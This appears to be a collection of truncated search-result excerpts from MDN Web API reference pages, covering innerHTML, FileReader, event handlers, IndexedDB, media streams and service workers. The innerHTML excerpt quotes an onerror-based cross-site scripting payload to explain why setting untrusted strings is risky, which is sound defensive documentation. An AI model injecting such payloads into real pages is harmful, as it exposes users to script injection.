ng 'el' is an HTML DOM element el.innerHTML = name; // harmless in this case // ... name = "<script>alert('I am John in an annoying alert!')</script>"; el.innerHTML = name; // harmless in this case Although this may look like a cross-site scripting attack, the result is harmless. HTML5 specifies that a <script> tag inserted with innerHTML should not execute. However, there are ways to execute
JavaScript without using <script> elements, so there is still a security risk whenever you use innerHTML to set strings over which you have no control. For example: const name = "<img src='x' onerror='alert(1)'>"; el.innerHTML = name; // shows the alert For that reason, it is recommended that you do not use innerHTML when inserting plain text; instead, use Node.textContent. This doesn't parse the passed c...
...If your project is one that will undergo any form of security review, using innerHTML most likely will result in your code being rejected. For example, if you use innerHTML in a browser extension and submit the extension to addons.mozilla.org, it will not pass the automated review process. Example This example uses innerHTML to create a mechanism for logging messages into a box on a web page. ...
Element.outerHTML - Web APIs
. Exceptions SyntaxError An attempt was made to set outerHTML using an HTML string which is not valid. NoModificationAllowedError An attempt was made to set outerHTML on an element which is a direct child of a Document, such as Document.documentElement. ...
... Notes If the element has no par...
Event.defaultPrevented - Web APIs
ault() canceled the event. Note: You should use this instead of the non-standard, deprecated getPreventDefault() method (see bug 691151). Syntax var defaultWasPrevented = event.defaultPrevented; Value A Boolean, where true indicates that the default user agent action was prevented, and false indicates that it was not. Example This example logs attempts to visit links from two <a> elements. ...
...Boolean, where true indicates that the default user agent action was prevented, and false indicates that it was not. Example This example logs attempts to visit links from two <a> elements.
JavaScript is used to prevent the second link from working. ...
FileReader.readAsDataURL() - Web APIs
without first removing the Data-URL declaration preceding the Base64-encoded data. To retrieve only the Base64 encoded string, first remove data:*/*;base64, from the result. Syntax instanceOfFileReader.readAsDataURL(blob); Parameters blob The Blob or File from which to read. ...
...put[type=file]').files[0]; const reader = new FileReader(); reader.addEventListener("load", function () { // convert image file to base64 string preview.src = reader.result; }, false); if (file) { reader.readAsDataURL(file); } } Live Result Example reading multiple files HTML <input id="browse" type="file" onchange="previewFiles()" multiple> <div id="preview"></div>
JavaScript function previewFiles() { var preview = document.querySelector('#preview'); var files = document.querySelector('input[type=file]').files; function readAndPreview(file) { // Make sure `file.name` matches our extensions criteria if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) { var reader = new FileReader(); reader.addEventListener("load", function () { var ima...
GlobalEventHandlers.oncontextmenu - Web APIs
ole argument. Only one oncontextmenu handler can be assigned to an object at a time. You may prefer to use the EventTarget.addEventListener() method instead, since it's more flexible. Examples Disabling context menus This snippet prevents context menus from opening in the window. The context menu typically appears upon a right click. HTML <p>Try opening the context menu. Is it disabled?<p>
JavaScript window.oncontextmenu = (e) => { e.preventDefault(); } Result Pausing an animation This example pauses a spinning shape whenever you open the context menu. HTML <div class="shape">Spinning</div> <p class="note" hidden>Click to unpause.</p> CSS @keyframes spin { from { transform: rotate(0); } to { transform: rotate(1turn); } } .shape { width: 8em; height: 8em; di...
...yframes spin { from { transform: rotate(0); } to { transform: rotate(1turn); } } .shape { width: 8em; height: 8em; display: flex; align-items: center; justify-content: center; animation: spin 18s linear infinite; background: lightsalmon; border-radius: 42%; margin: 1em; } .paused { background-color: #ddd; } .paused .shape { animation-play-state: paused; }
JavaScript function pause(e) { body.classList.add('paused'); note.removeAttribute('hidden'); } function play(e) { body.classList.remove('paused'); note.setAttribute('hidden', ''); } const body = document.querySelector('body'); const note = document.querySelector('.note'); window.oncontextmenu = pause; window.onpointerdown = play; Result Specifications Specification Status Com...
GlobalEventHandlers.onerror - Web APIs
The onerror property of the GlobalEventHandlers mixin is an EventHandler that processes error events. Error events are fired at various targets for different kinds of errors: When a
JavaScript runtime error (including syntax errors and exceptions thrown within handlers) occurs, an error event using interface ErrorEvent is fired at window and window.onerror() is invoked (as well as handlers attached by window.addEventListener (not only capturing)). When a resource (such as an <img> or <script>) fails to load, an error event using interface Event is fired at the element that initiated the load, and the onerror() handler on the element is invoked. These error events do not bubble up to window, but (at least in Firefox) can be handled with a window.addEventListener configured with useCapture set t...
...ng information (see bug 363897). Instead the error reported is simply "Script error." This behavior can be overriden in some browsers using the crossorigin attribute on <script> and having the server send the appropriate CORS HTTP response headers. A workaround is to isolate "Script error." and handle it knowing that the error detail is only viewable in the browser console and not accessible via
JavaScript. window.onerror = function (msg, url, lineNo, columnNo, error) { var string = msg.toLowerCase(); var substring = "script error"; if (string.indexOf(substring) > -1){ alert('Script Error: See Browser Console for Detail'); } else { var message = [ 'Message: ' + msg, 'URL: ' + url, 'Line: ' + lineNo, 'Column: ' + columnNo, 'Error object: ' + JSON.string...
GlobalEventHandlers.ontransitioncancel - Web APIs
let box = document.querySelector(".box"); box.ontransitionrun = function(event) { box.innerHTML = "Zooming..."; } box.ontransitionend = function(event) { box.innerHTML = "Done!"; } box.onclick = function() { box.style.display = 'none'; timeout = window.setTimeout(app...
... Specification Specification Status Comment CSS TransitionsThe definition of 'ontransitioncancel' in that specification. Working Draft ...
HTMLCollection - Web APIs
document is changed. Properties HTMLCollection.length Read only Returns the number of items in the collection. Methods HTMLCollection.item() Returns the specific node at the given zero-based index into the list. Returns null if the index is out of range. An alternative to accessing collection[i] (which instead returns undefined when i is out-of-bounds). This is mostly useful for non-
JavaScript DOM implementations. HTMLCollection.namedItem() Returns the specific node whose ID or, as a fallback, name matches the string specified by name. Matching by name is only done as a last resort, only in HTML, and only if the referenced element supports the name attribute. Returns null if no node exists by the given name. An alternative to accessing collection[name] (which instead returns undefin...
...he specific node whose ID or, as a fallback, name matches the string specified by name. Matching by name is only done as a last resort, only in HTML, and only if the referenced element supports the name attribute. Returns null if no node exists by the given name. An alternative to accessing collection[name] (which instead returns undefined when name does not exist). This is mostly useful for non-
JavaScript DOM implementations. Usage in
JavaScript HTMLCollection also exposes its members directly as properties by both name and index. HTML IDs may contain : and . as valid characters, which would necessitate using bracket notation for property access. Currently HTMLCollections does not recognize purely numeric IDs, which would cause conflict with the array-style access, though HTML5 does permit thes...
HTMLElement: change event - Web APIs
Try entering something int...
...ySelector('.result'); result.textContent = `You like ${event.target.value}`; }); Result Text input element For some elements, including <input type="text">, the change event doesn't fire until the control loses focus. Try entering something into the field below, and then click somewhere else to trigger the event. HTML <input placeholder="Enter some text" name="name"/> <p id="log"></p>
JavaScript const input = document.querySelector('input'); const log = document.getElementById('log'); input.addEventListener('change', updateValue); function updateValue(e) { log.textContent = e.target.value; } Result Specifications Specification Status HTML Living StandardThe definition of 'change' in that specification. Living Standard ...
HTMLElement.hidden - Web APIs
ers Elements that are not hidden must not link to elements which are. Syntax isHidden = HTMLElement.hidden; HTMLElement.hidden = true | false; Value A Boolean which is true if the element is hidden from view; otherwise, the value is false. Example Here's an example where a hidden block is used to contain a thank you message that is displayed after a user agrees to an unusual request.
JavaScript document.getElementById("okButton") .addEventListener("click", function() { document.getElementById("welcome").hidden = true; document.getElementById("awesome").hidden = false; }, false); This code sets up a handler for the welcome panel's "OK" button that hides the welcome panel and makes the follow-up panel--with the curious name "awesome"--visible in its place. HTML The HTML fo...
... class="panel"> <h1>Welcome to Foobar.com!</h1> <p>By clicking "OK" you agree to be awesome every day!</p> <button class="button" id="okButton">OK</button> </div> This HTML creates a panel (in a <div> block) that welcomes the user to a site and tells them what they're agreeing to by clicking the OK button. The follow-up panel Once the user clicks the "OK" button in the welcome panel, the
JavaScript code swaps the two panels by changing their respective values for hidden. The follow-up panel looks like this in HTML: <div id="awesome" class="panel" hidden> <h1>Thanks!</h1> <p>Thank you <strong>so</strong> much for agreeing to be awesome today! Now get out there and do awesome things awesomely to make the world more awesome!</p> </div> CSS The content is styled using the CSS below. ...
HTMLFormControlsCollection.namedItem() - Web APIs
The HTMLFormControlsCollection.namedItem() method returns the RadioNodeList or the Element in the collection whose name or id match the specified name, or null if no node matches. Note that this version of namedItem() hides the one inherited from HTMLCollection. Like that one, in
JavaScript, using the array bracket syntax with a String, like collection["value"] is equivalent to collection.namedItem("value"). ...
...ke that one, in
JavaScript, using the array bracket syntax with a String, like collection["value"] is equivalent to collection.namedItem("value"). Syntax var item = collection.namedItem(str); var item = collection[str]; Parameters str is a DOMString Return value item is a RadioNodeList , Element, or null. Example HTML <form> <input id="my-form-control" type="textarea"> </form>
JavaScript // Returns the HTMLInputElement representing #my-form-control elem1 = document.forms[0]['my-form-control']; Specifications Specification Status Comment HTML Living StandardThe definition of 'HTMLFormControlsCollection.namedItem()' in that specification. Living Standard HTML5The definition of 'HTMLFormControlsCollection' in that specification. Recomm...
HTMLFormElement - Web APIs
hose which are descendants of the <form> and those which are made members of the form using their form attributes. You can also get the form's element by using its name attribute as a key of the form, but using elements is a better approach--it contains only the form's elements, and it cannot be mixed with other attributes of the form. Issues with Naming Elements Some names will interfere with
JavaScript access to the form's properties and elements. For example: <input name="id"> will take precedence over <form id="...">. This means that form.id will not refer to the form's id, but to the element whose name is "id". This will be the case with any other form properties, such as <input name="action"> or <input name="post">. <input name="elements"> will render the form's elements collection ina...
...e="action"> or <input name="post">. <input name="elements"> will render the form's elements collection inaccessible. The reference form.elements will now refer to the individual element. To avoid such problems with element names: Always use the elements collection to avoid ambiguity between an element name and a form property. Never use "elements" as an element name. If you are not using
JavaScript, this will not cause a problem. Elements that are considered form controls The elements included by HTMLFormElement.elements and HTMLFormElement.length are the following: <button> <fieldset> <input> (with the exception that any whose type is "image" are omitted for historical reasons) <object> <output> <select> <textarea> No other elements are included in the list returned by element...
HTMLImageElement.naturalHeight - Web APIs
ge"> </div> <div class="output"> </div> The HTML features a 400x398 pixel image which is placed inside a <div>. CSS .box { width: 200px; height: 200px; } .image { width: 100%; } .output { padding-top: 2em; } The main thing of note in the CSS above is that the style used for the container the image will be drawn in is 200px wide, and the image will be drawn to fill its width (100%). ...
...This is done in response to the window's load event handler, in order to ensure that the image is available before attempting to examine its width and height. ...
HTMLImageElement.naturalWidth - Web APIs
ge"> </div> <div class="output"> </div> The HTML features a 400x398 pixel image which is placed inside a <div>. CSS .box { width: 200px; height: 200px; } .image { width: 100%; } .output { padding-top: 2em; } The main thing of note in the CSS above is that the style used for the container the image will be drawn in is 200px wide, and the image will be drawn to fill its width (100%). ...
...This is done in response to the window's load event handler, in order to ensure that the image is available before attempting to examine its width and height. ...
HTMLSelectElement.item() - Web APIs
The HTMLSelectElement.item() method returns the Element corresponding to the HTMLOptionElement whose position in the options list corresponds to the index given in the parameter, or null if there are none. In
JavaScript, using the array bracket syntax with an unsigned long, like selectElt[index] is equivalent to selectElt.namedItem(index). Syntax var item = collection.item(index); var item = collection[index]; Parameters index is an unsigned long. Return value item is a HTMLOptionElement. ...
...long, like selectElt[index] is equivalent to selectElt.namedItem(index). Syntax var item = collection.item(index); var item = collection[index]; Parameters index is an unsigned long. Return value item is a HTMLOptionElement. Examples HTML <form> <select id="myFormControl" type="textarea"> <option id="o1">Opt 1</option> <option id="o2">Opt 2</option> </select> </form>
JavaScript // Returns the HTMLOptionElement representing #o2 elem1 = document.forms[0]['myFormControl'][1]; Specifications Specification Status Comment HTML Living StandardThe definition of 'HTMLSelectElement.item()' in that specification. Living Standard No change since the latest snapshot, HTML5. HTML5The definition of 'HTMLSelectElement.item()' in that specifica...
HTMLSelectElement.namedItem() - Web APIs
The HTMLSelectElement.namedItem() method returns the HTMLOptionElement corresponding to the HTMLOptionElement whose name or id match the specified name, or null if no option matches. In
JavaScript, using the array bracket syntax with a String, like selectElt["value"] is equivalent to selectElt.namedItem("value"). Syntax var item = collection.namedItem(str); var item = collection[str]; Parameters str is a DOMString. Return value item is a HTMLOptionElement. ...
...et syntax with a String, like selectElt["value"] is equivalent to selectElt.namedItem("value"). Syntax var item = collection.namedItem(str); var item = collection[str]; Parameters str is a DOMString. Return value item is a HTMLOptionElement. Example HTML <form> <select id="myFormControl"> <option id="o1">Opt 1</option> <option id="o2">Opt 2</option> </select> </form>
JavaScript elem1 = document.forms[0]['myFormControl']['o1']; // Returns the HTMLOptionElement representing #o1 Specifications Specification Status Comment HTML Living StandardThe definition of 'HTMLSelectElement.namedItem()' in that specification. Living Standard No change since the latest snapshot, HTML5. HTML5The definition of 'HTMLSelectElement.namedItem()' in t...
HTMLSelectElement.selectedOptions - Web APIs
ption> <option value="4">Pepperoni Pizza</option> <option value="5">Taco</option> </select> <br> <button name="order" id="order"> Order Now </button> <p id="output"> </p> The <select> element is set to allow multiple items to be selected, and it is 7 rows tall. Note also the <button>, whose role it is to trigger fetching the HTMLCollection of selected elements using the selected property. ...
... value="4">Pepperoni Pizza</option> <option value="5">Taco</option> </select> <br> <button name="order" id="order"> Order Now </button> <p id="output"> </p> The <select> element is set to allow multiple items to be selected, and it is 7 rows tall. Note also the <button>, whose role it is to trigger fetching the HTMLCollection of selected elements using the selected property. ...
HTMLTableElement.createCaption() - Web APIs
ethod creates it, and then returns it. Note: If no caption exists, createCaption() inserts a new caption directly into the table. The caption does not need to be added separately as would be the case if Document.createElement() had been used to create the new <caption> element. ...
...eateElement() had been used to create the new <caption> element. Syntax HTMLTableElement = table.createCaption(); Return value HTMLTableCaptionElement Example This example uses
JavaScript to add a caption to a table that initially lacks one. HTML <table> <tr><td>Cell 1.1</td><td>Cell 1.2</td><td>Cell 1.3</td></tr> <tr><td>Cell 2.1</td><td>Cell 2.2</td><td>Cell 2.3</td></tr> </table>
JavaScript let table = document.querySelector('table'); let caption = table.createCaption(); caption.textContent = 'This caption was created by
JavaScript!'; Result Specifications Specification Status Comment HTML Living StandardThe definition of 'HTMLTableElement: createCaption' in that specification. Living Standard ...
HTMLTableElement.deleteRow() - Web APIs
ecial index -1 can be used to remove the very last row of a table. Return value No return value Errors thrown If the number of the row to delete, specified by the parameter, is greater or equal to the number of available rows, or if it is negative and not equal to the special index -1, representing the last row of the table, the exception INDEX_SIZE_ERR is thrown. ...
...not equal to the special index -1, representing the last row of the table, the exception INDEX_SIZE_ERR is thrown. Example This example uses
JavaScript to delete a table's second row. HTML <table> <tr><td>Cell 1.1</td><td>Cell 1.2</td><td>Cell 1.3</td></tr> <tr><td>Cell 2.1</td><td>Cell 2.2</td><td>Cell 2.3</td></tr> <tr><td>Cell 3.1</td><td>Cell 3.2</td><td>Cell 3.3</td></tr> </table>
JavaScript let table = document.querySelector('table'); // Delete second row table.deleteRow(1); Result Specifications Specification Status Comment HTML Living StandardThe definition of 'HTMLTableElement: deleteRow' in that specification. Living Standard ...
HTMLTableRowElement.rowIndex - Web APIs
row in relation to the whole <table>. Even when the <thead>, <tbody>, and <tfoot> elements are out of order in the HTML, browsers render the table in the right order. Therefore the rows count from <thead> to <tbody>, from <tbody> to <tfoot>. Syntax var index = HTMLTableRowElement.rowIndex Value Returns the index of the row, or -1 if the row is not part of a table. ...
...ample This example uses
JavaScript to label all the row numbers in a table. ...
HTMLTextAreaElement - Web APIs
efined on HTMLTextAreaElement in DOM Level 2 HTML and earlier specifications. Events Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface: input event Fires when the value of an <input>, <select>, or <textarea> element has been changed. ...
... } } CSS textarea.noscrollbars { overflow: hidden; width: 300px; height: 100px; } HTML <form> <fieldset> <legend>Your comments</legend> <p><textarea class="noscrollbars" onkeyup="autoGrow(this);"></textarea></p> <p><input type="submit" value="Send" /></p> </fieldset> </form> Insert HTML tags example Insert some HTML tags or smiles or any custom text in a textarea. ...
The HTML DOM API - Web APIs
ation PageTransitionEvent PopStateEvent Web Components interfaces These interfaces are used by the Web Components API to create and manage the available custom elements. CustomElementRegistry Miscellaneous and supporting interfaces These supporting object types are used in a variety of ways in the HTML DOM API. In addition, PromiseRejectionEvent represents the event delivered when a
JavaScript Promise is rejected. DOMStringList DOMStringMap ErrorEvent HTMLAllCollection MimeType MimeTypeArray PromiseRejectionEvent Interfaces belonging to other APIs Several interfaces are technically defined in the HTML specification while actually being part of other APIs. Web storage interfaces The Web_Storage_API provides the ability for web sites to store data either temporarily or pe...
...on, are used by the WebSockets_API. CloseEvent WebSocket Server-sent events interfaces The EventSource interface represents the source which sent or is sending server-sent events. EventSource Examples In this example, an <input> element's input event is monitored in order to update the state of a form's "submit" button based on whether or not a given field currently has a value. ...
History.pushState() - Web APIs
Whenever the user navigates to the new state, a popstate event is fired, and the state property of the event contains a copy of the history entry's state object. The state object can be anything that can be serialized. ...
...rent hash isn't #foo. You can associate arbitrary data with your new history entry. With the hash-based approach, you need to encode all of the relevant data into a short string. Note that pushState() never causes a hashchange event to be fired, even if the new URL differs from the old URL only in its hash. Examples This creates a new browser history state setting the state, title, and url.
JavaScript const state = { 'page_id': 1, 'user_id': 5 } const title = '' const url = 'hello-world.html' history.pushState(state, title, url) Specifications Specification Status Comment HTML Living StandardThe definition of 'History.pushState()' in that specification. Living Standard No change from HTML5. HTML5The definition of 'History.pushState()' in that specific...
IDBCursor.continuePrimaryKey() - Web APIs
xt or nextunique. The key is greater than or equal to this cursor's position and this cursor's direction is prev or prevunique. InvalidStateError The cursor is currently being iterated or has iterated past its end. InvalidAccessError The cursor's direction is not prev or next. ...
...an iteration of all articles tagged with "
javascript" since your last visit: let request = articleStore.index("tag").openCursor(); let count = 0; let unreadList = []; request.onsuccess = (event) => { let cursor = event.target.result; if (!cursor) { return; } let lastPrimaryKey = getLastIteratedArticleId(); if (lastPrimaryKey > cursor.primaryKey) { cursor.continuePrimaryKey("
javascript", lastPrimaryKey); return; } // update lastIteratedArticleId setLastIteratedArticleId(cursor.primaryKey); // preload 5 articles into the unread list; unreadList.push(cursor.value); if (++count < 5) { cursor.continue(); } }; Specifications Specification Status Comment Indexed Database API DraftThe definition of 'continuePrimaryKey()...
IDBObjectStore.createIndex() - Web APIs
Note that this method must be called only from a VersionChange transaction mode callback. ...
...tions performed on the data via key ranges will then obey sorting rules of that locale (see locale-aware sorting.) You can specify its value in one of three ways: string: A string containing a specific locale code, e.g. en-US, or pl. auto: The platform default locale will be used (may be changed by user agent settings.) null or undefined: If no locale is specified, normal
JavaScript sorting will be used -- not locale-aware. Return value An IDBIndex object: the newly created index. Exceptions This method may raise a DOMException of one of the following types: Exception Description ConstraintError Occurs if an index with the same name already exists in the database. Index names are case-sensitive. InvalidAccessEr...
Basic concepts - Web APIs
ables representing collections of rows and columns. This important and fundamental difference affects the way you design and build your applications. In a traditional relational data store, you would have a table that stores a collection of rows of data and columns of named types of data. IndexedDB, on the other hand, requires you to create an object store for a type of data and simply persist
JavaScript objects to that store. Each object store can have a collection of indexes that makes it efficient to query and iterate across. If you are not familiar with object-oriented database management systems, read the Wikipedia article on object database. IndexedDB does not use Structured Query Language (SQL). It uses queries on an index that produces a cursor, which you use to iterate across the r...
...an be generated using a generator. After the key has been generated, it can then be stored in the value using the key path or it can also be used as a key. out-of-line key A key that is stored separately from the value being stored. key path Defines where the browser should extract the key from in the object store or index. A valid key path can include one of the following: an empty string, a
JavaScript identifier, or multiple
JavaScript identifiers separated by periods or an array containing any of those. It cannot include spaces. value Each record has a value, which could include anything that can be expressed in
JavaScript, including boolean, number, string, date, object, array, regexp, undefined, and null. When an object or array is stored, the properties and values in that object or a...
Intersection Observer API - Web APIs
Setting up First, we need to prepare some variables and install the observer. const numSteps = 20.0; let boxElement; let prevRatio = 0.0; let increasingColor = "rgba(40, 40, 190, ratio)"; let decreasingColor = "rgba(190, 40, 40, ratio)"; // Set things up window.addEventListener("...
... Setting up First, we need to prepare some variables and install the observer. const numSteps = 20.0; let boxElement; let prevRatio = 0.0; let increasingColor = "rgba(40, 40, 190, ratio)"; let decreasingColor = "rgba(190, 40, 40, ratio)"; // Set things up window.addEventListener("load", (event) => { boxElement = document.qu...
MediaStreamConstraints.audio - Web APIs
oplay controls></audio><br> <div id="log"></div> CSS content body { font: 14px "Open Sans", "Arial", sans-serif; } audio { margin-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; }
JavaScript content let audioElement = document.getElementById("audio"); let logElement = document.getElementById("log"); function log(msg) { logElement.innerHTML += msg + "<br>"; } document.getElementById("startButton").addEventListener("click", function() { navigator.mediaDevices.getUserMedia({ audio: true }).then(stream => audioElement.srcObject = stream) .catch(err => log(err.name + ": ...
...oplay controls></audio><br> <div id="log"></div> CSS content body { font: 14px "Open Sans", "Arial", sans-serif; } audio { margin-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; }
JavaScript content let audioElement = document.getElementById("audio"); let logElement = document.getElementById("log"); function log(msg) { logElement.innerHTML += msg + "<br>"; } document.getElementById("startButton").addEventListener("click", function() { navigator.mediaDevices.getUserMedia({ audio: { sampleSize: 8, echoCancellation: true } }).then(stream => audioElement.src...
MediaStreamConstraints.video - Web APIs
th="160" height="120" autoplay></video><br> <div id="log"></div> CSS content body { font: 14px "Open Sans", "Arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; }
JavaScript content let videoElement = document.getElementById("video"); let logElement = document.getElementById("log"); function log(msg) { logElement.innerHTML += msg + "<br>"; } document.getElementById("startButton").addEventListener("click", function() { navigator.mediaDevices.getUserMedia({ video: true }).then(stream => videoElement.srcObject = stream) .catch(err => log(err.name + "...
...th="160" height="120" autoplay></video><br> <div id="log"></div> CSS content body { font: 14px "Open Sans", "Arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; }
JavaScript content let videoElement = document.getElementById("video"); let logElement = document.getElementById("log"); function log(msg) { logElement.innerHTML += msg + "<br>"; } document.getElementById("startButton").addEventListener("click", function() { navigator.mediaDevices.getUserMedia({ video: { width: 160, height: 120, frameRate: 15 } }).then(stream =>...
Recording a media element - Web APIs
let preview = document.getElementById("preview"); let recording = document.getElementById("recording"); let startButton = document.getElementById("startButton"); let stopButton = document.getEl...
... let preview = document.getElementById("preview"); let recording = document.getElementById("recording"); let startButton = document.getElementById("startButton"); let stopButton = document.getElementById("stopButton"); let downloadButton = doc...
Media Source API - Web APIs
Media Source Extensions concepts and usage Playing video and audio has been available in web applications without plugins for a few years now, but the basic features offered have really only been useful for playing single whole tracks. We can't, for example, combine/split arraybuffers. ...
... Live profile content can introduce latency due to its transcoding and broadcasting, so DASH is not suitable for real time communication like WebRTC is. It can however support significantly more client connections than WebRTC. There are numerous available free and open source tools for transcoding content and preparing it for use with DASH, DASH file servers, and DASH client libraries written in
JavaScript. Interfaces MediaSource Represents a media source to be played via an HTMLMediaElement object. SourceBuffer Represents a chunk of media to be passed into an HTMLMediaElement via a MediaSource object. SourceBufferList A simple container list for multiple SourceBuffer objects. VideoPlaybackQuality Contains information about the quality of video being played by a <video> element, such as ...
Capabilities, constraints, and settings - Web APIs
Defaults and variables First we have the default constraint sets, as strings. These strings are presented in editable <textarea>s, but this is the initial configuration of the stream. let videoDefaultConstraintString = '{\n "width": 320,\n "height": 240,\n "frameRate": 30\n}'; let audioDefaultConstraintString...
...0px; width: 600px; } .trackrow { height: 200px; } .leftside { float: left; width: calc(calc(100%/2) - 10px); } .rightside { float: right; width: calc(calc(100%/2) - 10px); } textarea { padding: 8px; } h3 { margin-bottom: 3px; } #supportedConstraints { column-count: 2; -moz-column-count: 2; } #log { padding-top: 10px; }
JavaScript content Now let's take a look at the
JavaScript code that makes everything work. Defaults and variables First we have the default constraint sets, as strings. These strings are presented in editable <textarea>s, but this is the initial configuration of the stream. let videoDefaultConstraintString = '{\n "width": 320,\n "height": 240,\n "frameRate": 30\n}'; let audioDefaultConstraintString = '{\n "sampleSize": 16,\n "channelCount": 2,\...
Node.isEqualNode() - Web APIs
h), its attributes match, and so on. The specific set of data points that must match varies depending on the types of the nodes. Syntax var isEqualNode = node.isEqualNode(otherNode); otherNode: The Node to compare equality with. Example In this example, we create three <div> blocks. The first and third have the same contents and attributes, while the second is different. ...
...e second is different. Then we run some
JavaScript to compare the nodes using isEqualNode() and output the results. ...
Node.isSameNode() - Web APIs
he isSameNode() method for Node objects tests whether two nodes are the same (that is, whether they reference the same object). Syntax const isSameNode = node.isSameNode(otherNode) Parameters otherNode The Node to test against. Example In this example, we create three <div> blocks. The first and third have the same contents and attributes, while the second is different. ...
...he second is different. Then we run some
JavaScript to compare the nodes using isSameNode() and output the results. ...
PromiseRejectionEvent() - Web APIs
A rejectionhandled event is emitted if a promise is rejected but the rejection is caught by a rejection handler.. ...
...A rejectionhandled event is emitted if a promise is rejected but the rejection is caught by a rejection handler.. ...
RTCPeerConnection.peerIdentity - Web APIs
If an error occcurs while attempting to validate an incoming identity assertion (that is, the information describing a peer's identity), the promise is rejected. ...
... If an error occcurs while attempting to validate an incoming identity assertion (that is, the information describing a peer's identity), the promise is rejected. ...
Range.setStart() - Web APIs
le uses the Range.setStart() and Range.setEnd() methods to add part of an address to a range. The selected range is then highlighted using Range.surroundContents(). The address contains nine nodes: five text nodes, and four <br> elements. HTML <p id="address">Wyatt Earp<br> 101 E. Main St.<br> Dodge City, KS<br> 67801<br> USA</p> <hr> <p>Nodes in the original address:</p> <ol id="log"></ol>
JavaScript const address = document.getElementById('address'); const log = document.getElementById('log'); // Log info address.childNodes.forEach(node => { const li = document.createElement('li'); li.textContent = `${node.nodeName}, ${node.nodeValue}`; log.appendChild(li); }); // Highlight the street and city const startOffset = 2; // Start at third node: 101 E. Main St. const endOffset = 5; //...
...et); range.setEnd(address, endOffset); const mark = document.createElement('mark'); range.surroundContents(mark); Result Get characters from a text node This example uses the Range.setStart() and Range.setEnd() methods to define the contents of a range. The resulting range contains the first through fifth characters within a text node. ...
Reporting API - Web APIs
rence of crashes. Occurrence of user-agent interventions (when the browser blocks something your code is trying to do because it is deemed a security risk for example, or just plain annoying, like auto-playing audio). The Reporting API's purpose is to provide a consistent reporting mechanism that can be used to make such information available to developers in the form of reports represented by
JavaScript objects. There are a few ways to use it, which are detailed in the sections below. Origins and endpoints Each unique origin you want to retrieve reports for can be given a series of endpoints, which are URLs that can receive given reports from a user agent. The Report-To HTTP header is used to specify details about the different endpoints that a user-agent has available to it for delivering re...
...error occurs. Reports sent to endpoints can be retrieved independently of the running of the websites they relate to, which is useful -- a crash for example could bring down a web site and stop anything running, but a report could still be obtained to give the developer some clues as to why it happened. Reporting observers Reports can also be obtained via ReportingObserver objects created via
JavaScript inside the website you are aiming to get reports on. This method is not as failsafe as the Report-To method described above -- any page crash could stop you retrieving the reports -- but it is easier to set up, and more flexible. A ReportingObserver object is created using the ReportingObserver() constructor, which is passed two parameters: A callback function that has available as parameters...
ServiceWorkerContainer.register() - Web APIs
scope. Since a service worker can't have a scope broader than its own location, only use the scope option when you need a scope that is narrower than the default. Syntax serviceWorkerContainer.register(scriptURL, options) .then(function(serviceWorkerRegistration) { ... }); Parameters scriptURL The URL of the service worker script. The registered service worker file needs to have a valid
JavaScript MIME type. options Optional An object containing registration options. Currently available options are: scope: A USVString representing a URL that defines a service worker's registration scope; that is, what range of URLs a service worker can control. This is usually a relative URL. It is relative to the base URL of the application. By default, the scope value for a service worker registrat...
...', error); }); } else { console.log('Service workers are not supported.'); } The following code, if included in example.com/index.html, at the root of a site, would apply to exactly the same pages as the example above. Remember the scope, when included, uses the page's location as its base. Alternatively, if this code were included in a page at example.com/product/description.html, with the
Javascript file residing at example.com/product/sw.js, then the service worker would only apply to resources under example.com/product. if ('serviceWorker' in navigator) { // declaring scope manually navigator.serviceWorker.register('/sw.js', {scope: './'}).then(function(registration) { console.log('Service worker registration succeeded:', registration); }, /*catch*/ function(error) { console...
Service Worker API - Web APIs
eation of effective offline experiences, intercept network requests and take appropriate action based on whether the network is available, and update assets residing on the server. They will also allow access to push notifications and background sync APIs. Service worker concepts and usage A service worker is an event-driven worker registered against an origin and a path. It takes the form of a
JavaScript file that can control the web-page/site that it is associated with, intercepting and modifying navigation and resource requests, and caching resources in a very granular fashion to give you complete control over how your app behaves in certain situations (the most obvious one being when the network is not available). A service worker is run in a worker context: it therefore has no DOM access, an...
...that it is associated with, intercepting and modifying navigation and resource requests, and caching resources in a very granular fashion to give you complete control over how your app behaves in certain situations (the most obvious one being when the network is not available). A service worker is run in a worker context: it therefore has no DOM access, and runs on a different thread to the main
JavaScript that powers your app, so it is non-blocking. It is designed to be fully async; as a consequence, APIs such as synchronous XHR and localStorage can't be used inside a service worker. Service workers only run over HTTPS, for security reasons. Having modified network requests, wide open to man in the middle attacks would be really bad. In Firefox, Service Worker APIs are also hidden and cannot be u...
Using readable streams - Web APIs
Note: This article assumes that you understand the use cases of readable streams, and are aware of the high-level concepts. If not, we suggest that you first read the Streams concepts and usage overview and dedicated Streams API concepts article, then come back. Note: If you are looking for information on writable streams try Using writable streams instead. Browser support You can consume Fetch Body objects as streams and create your own custom readable streams in Firefox 65+ and Chrome 42+ (and equivalent Chromium-based browsers). ...
...is via a syntax that looks complex at first, but actually isn't too bad. The generic syntax skeleton looks like this: const stream = new ReadableStream({ start(controller) { }, pull(controller) { }, cancel() { }, type, autoAllocateChunkSize }, { highWaterMark, size() }); The constructor takes two objects as parameters. The first object is required, and creates a model in
JavaScript of the underlying source the data is being read from. The second object is optional, and allows you to specify a custom queuing strategy to use for your stream. You'll rarely have to do this, so we'll just concentrate on the first one for now. The first object can contain up to five members, only the first of which is required: start(controller) -- A method that is called once, immediately af...
Using writable streams - Web APIs
